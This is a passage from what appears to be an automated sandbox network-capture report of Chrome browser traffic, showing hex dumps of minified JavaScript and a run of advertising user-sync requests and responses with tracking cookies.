o,Mo,No,Oo,Qo,Ro,Vo,Xo,Yo,Wo,cp,dp,ep,ip,jp,lp,vp,xp,Ap,Dp,Cp,Bp,Np,Qp,Rp,Sp,Tp,Vp,Xp,Yp,Zp,aq,bq,dq,cq,fq,iq,hq,jq,lq,mq,pq,qq,sq,vq,uq,xq,yq,zq,Bq,Cq,Eq,Dq,Hq,Jq,Lq,Nq,Sq,Tq,Uq,Vq,Yq,ar,Zq,$q,br,cr,fr,gr,hr,ir,jr,kr,lr,mr,or,sr,ur,vr,wr,zr,Jr,Cr,Or,Pr,Q
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 71 61 29 72 65 74 75 72 6e 20 61 2e 59 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 22 29 3b 7d 3b 76 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 61 2b 22 3a 22 7d 29 7d 3b 5f 2e 79 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 76 6f 69 64 20 30 3d 3d 3d 62 3f 77 61 3a 62 3b 61 3a 69 66 28 62 3d 76 6f 69 64 20 30 3d 3d 3d 62 3f 77 61 3a 62 2c 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 71 61 29 29 7b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e Data Ascii: n(a){if(a instanceof _.qa)return a.Yi;throw Error("");};va=function(a){return new ua(function(b){return b.substr(0,a.length+1).toLowerCase()===a+":"})};_.ya=function(a){var b=void 0===b?wa:b;a:if(b=void 0===b?wa:b,!(a instanceof _.qa)){for(var c=0;c<b.len
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 50 61 3b 51 61 28 63 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 65 28 66 2e 76 61 6c 75 65 2c 67 2e 76 61 6c 75 65 29 7c 7c 66 2e 69 6e 64 65 78 2d 67 2e 69 6e 64 65 78 7d 29 3b 66 6f 72 28 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 61 5b 62 5d 3d 63 5b 62 5d 2e 76 61 6c 75 65 7d 3b 57 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 54 61 28 61 29 7c 7c 21 5f 2e 54 61 28 62 29 7c 7c 61 2e 6c 65 6e 67 74 68 21 3d 62 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 56 61 2c 65 3d 30 3b 65 3c 63 3b 65 2b 2b 29 69 66 28 21 64 28 61 5b 65 5d 2c 62 5b 65 5d 29 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 3b 5f 2e 50 61 3d 66 75 6e Data Ascii: Pa;Qa(c,function(f,g){return e(f.value,g.value)\|\|f.index-g.index});for(b=0;b<a.length;b++)a[b]=c[b].value};Wa=function(a,b){if(!_.Ta(a)\|\|!_.Ta(b)\|\|a.length!=b.length)return!1;for(var c=a.length,d=Va,e=0;e<c;e++)if(!d(a[e],b[e]))return!1;return!0};_.Pa=fun
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 65 72 79 53 65 6c 65 63 74 6f 72 29 3f 76 6f 69 64 20 30 3a 63 2e 63 61 6c 6c 28 62 2c 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d 22 29 3b 28 62 3d 64 3f 64 2e 6e 6f 6e 63 65 7c 7c 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 22 22 3a 22 22 29 26 26 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 62 29 7d 3b 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 67 62 29 62 3d 62 2e 58 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 22 22 29 3b 61 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 62 3b 69 62 28 61 29 7d 3b 6c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 73 72 63 3d 5f 2e 6b 62 28 62 29 3b 69 62 28 61 29 7d 3b 6d 62 3d 66 75 6e 63 74 69 6f Data Ascii: erySelector)?void 0:c.call(b,"script[nonce]");(b=d?d.nonce\|\|d.getAttribute("nonce")\|\|"":"")&&a.setAttribute("nonce",b)};jb=function(a,b){if(b instanceof gb)b=b.Xi;else throw Error("");a.textContent=b;ib(a)};lb=function(a,b){a.src=_.kb(b);ib(a)};mb=functio
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 68 2d 31 30 32 34 30 3b 63 3c 64 3b 29 62 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 2e 73 75 62 61 72 72 61 79 28 63 2c 63 2b 3d 31 30 32 34 30 29 29 3b 62 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 63 3f 61 2e 73 75 62 61 72 72 61 79 28 63 29 3a 61 29 3b 72 65 74 75 72 6e 20 62 74 6f 61 28 62 29 7d 3b 77 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 76 62 5b 61 5d 7c 7c 22 22 7d 3b 7a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 79 62 26 26 6e 75 6c 6c 21 3d 61 26 26 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 7d 3b 42 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 21 3d 3d Data Ascii: h-10240;c<d;)b+=String.fromCharCode.apply(null,a.subarray(c,c+=10240));b+=String.fromCharCode.apply(null,c?a.subarray(c):a);return btoa(b)};wb=function(a){return vb[a]\|\|""};zb=function(a){return yb&&null!=a&&a instanceof Uint8Array};Bb=function(a){if(a!==
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 65 6e 67 74 68 2c 64 3d 62 2c 65 3d 28 63 2d 62 29 25 36 2b 62 3b 65 3c 3d 63 3b 64 3d 65 2c 65 2b 3d 36 29 64 3d 4e 75 6d 62 65 72 28 61 2e 73 6c 69 63 65 28 64 2c 65 29 29 2c 47 62 2a 3d 31 45 36 2c 46 62 3d 31 45 36 2a 46 62 2b 64 2c 34 32 39 34 39 36 37 32 39 36 3c 3d 46 62 26 26 28 47 62 2b 3d 5f 2e 78 28 4d 61 74 68 2c 22 74 72 75 6e 63 22 29 2e 63 61 6c 6c 28 4d 61 74 68 2c 46 62 2f 34 32 39 34 39 36 37 32 39 36 29 2c 47 62 3e 3e 3e 3d 30 2c 46 62 3e 3e 3e 3d 30 29 3b 62 26 26 28 62 3d 5f 2e 75 28 45 62 28 46 62 2c 47 62 29 29 2c 61 3d 62 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 62 3d 62 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 46 62 3d 61 2c 47 62 3d 62 29 7d 7d 3b 45 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 7e 62 3b 61 3f 61 3d 7e Data Ascii: ength,d=b,e=(c-b)%6+b;e<=c;d=e,e+=6)d=Number(a.slice(d,e)),Gb=1E6,Fb=1E6Fb+d,4294967296<=Fb&&(Gb+=_.x(Math,"trunc").call(Math,Fb/4294967296),Gb>>>=0,Fb>>>=0);b&&(b=_.u(Eb(Fb,Gb)),a=b.next().value,b=b.next().value,Fb=a,Gb=b)}};Eb=function(a,b){b=~b;a?a=~
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6d 63 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 22 29 3b 6d 63 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 5f 2e 74 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 62 29 7d 2c 30 29 7d 7d 3b 70 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6d 63 29 74 72 79 7b 6d 63 28 61 29 7d 63 61 74 63 68 28 62 29 7b 74 68 72 6f 77 20 62 2e 63 61 75 73 65 3d 61 2c 62 3b 7d 7d 3b 72 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 72 72 6f 72 28 29 3b 71 63 28 61 2c 22 69 6e 63 69 64 65 6e 74 22 29 3b 6d 63 3f 70 63 28 61 29 3a 72 62 28 61 29 7d 3b 73 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 45 72 72 6f 72 28 61 29 3b 71 63 28 61 2c 22 77 61 72 6e 69 6e 67 22 29 3b 70 63 28 61 29 3b Data Ascii: unction(a){if(mc)throw Error("");mc=function(b){_.t.setTimeout(function(){a(b)},0)}};pc=function(a){if(mc)try{mc(a)}catch(b){throw b.cause=a,b;}};rc=function(){var a=Error();qc(a,"incident");mc?pc(a):rb(a)};sc=function(a){a=Error(a);qc(a,"warning");pc(a);
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 61 7d 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 61 29 72 65 74 75 72 6e 20 5f 2e 78 28 4e 75 6d 62 65 72 2c 22 69 73 46 69 6e 69 74 65 22 29 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 46 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 22 6e 75 6d 62 65 72 22 21 3d 3d 74 79 70 65 6f 66 20 61 29 74 68 72 6f 77 20 73 63 28 22 75 69 6e 74 33 32 22 29 3b 69 66 28 21 5f 2e 78 28 4e 75 6d 62 65 72 2c 22 69 73 46 69 6e 69 74 65 22 29 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 61 29 29 74 68 72 6f 77 20 73 63 28 22 75 69 6e 74 33 32 22 29 3b 72 65 74 75 72 6e 20 61 3e 3e 3e 30 7d 3b 5f 2e 47 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 3a 46 63 28 61 29 7d 3b Data Ascii: a}if("number"===typeof a)return _.x(Number,"isFinite").call(Number,a)?a\|0:void 0};Fc=function(a){if("number"!==typeof a)throw sc("uint32");if(!_.x(Number,"isFinite").call(Number,a))throw sc("uint32");return a>>>0};_.Gc=function(a){return null==a?a:Fc(a)};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.17	50087	68.67.160.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	630	OUT	GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	1486	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://secure.adnxs.com/bounce?%2Fgetuid%3Fhttps%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dapn%26i%3D%24UID AN-X-Request-Uuid: caca8c8c-9bad-4c5e-9eb7-1730f9a6c4ba Set-Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:00 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:00 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3393848220146687847; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:00 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 639.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.17	50077	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	1400	OUT	GET /usersync/redirect?partner=huddled_masses&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=f5bcfd20-57d0-4d5c-ab4b-540db988386c HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:00 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.17	50079	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	968	OUT	GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dtriplelift%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
2024-04-11 21:27:00 UTC	765	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 0 Connection: close Location: https://exchange.mediavine.com/usersync/redirect?partner=triplelift&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3952083078138885077332 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3952083078138885077332; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:00 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3952083078138885077332; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:00 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.17	50088	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	672	OUT	GET /sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	830	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1--- Set-Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; path=/; expires=Fri, 11-Apr-2025 21:27:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1712870820; path=/; expires=Fri, 11-Apr-2025 21:27:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1712870820; path=/; expires=Fri, 11-Apr-2025 21:27:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1712870820; path=/; expires=Fri, 11-Apr-2025 21:27:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.17	50102	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	949	OUT	GET /usermatchredir?cb=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3DindexExchange%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D&s=193478&C=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZhhVo0t3uSsAAHTnAOvF5wAA; CMPS=020; CMPRO=020
2024-04-11 21:27:00 UTC	1145	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 0 Connection: close Location: https://exchange.mediavine.com/usersync/redirect?partner=indexExchange&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ZhhVo0t3uSsAAHTnAOvF5wAA%26020 CF-Ray: 872e0ee1da7cc3ee-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZhhVo0t3uSsAAHTnAOvF5wAA; Path=/; Domain=casalemedia.com; Expires=Fri, 11 Apr 2025 21:27:00 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=020; Path=/; Domain=casalemedia.com; Expires=Wed, 10 Jul 2024 21:27:00 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BBSIN79zKOXfPlqqk0CeQcKTRoFRfzIYXMkLG3viZ9AOdkHDzsMJPLw2sXOCTslNeeLCXO3p33QZUf4%2FKowaPgeW39kgI4ysqeMnvbWJ%2Bz917nQIHAfz5PQruHKalftXD5jtmE5hZEYZzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.17	50078	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	1423	OUT	GET /usersync/redirect?partner=pulsepoint&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8CYd5xB94ljT&ev=3a6574e0-f84a-11ee-a9d1-333cefc92741&pid=562036 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:00 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.17	50091	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	736	OUT	GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	611	IN	HTTP/1.1 302 Found Set-Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; Version=1; Expires=Fri, 11-Apr-2025 21:27:00 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://us-u.openx.net/w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.17	50093	169.197.150.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	716	OUT	GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	528	IN	HTTP/1.1 200 OK p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' set-cookie: CDIUSER=di_f355b6b71e2440ef9a09a; Max-Age=47260800; SameSite=None; Expires=Fri, 10 Oct 2025 21:27:00 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240411%22%7D; Max-Age=47260800; SameSite=None; Expires=Fri, 10 Oct 2025 21:27:00 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Thu, 11 Apr 2024 21:26:59 GMT server: c connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
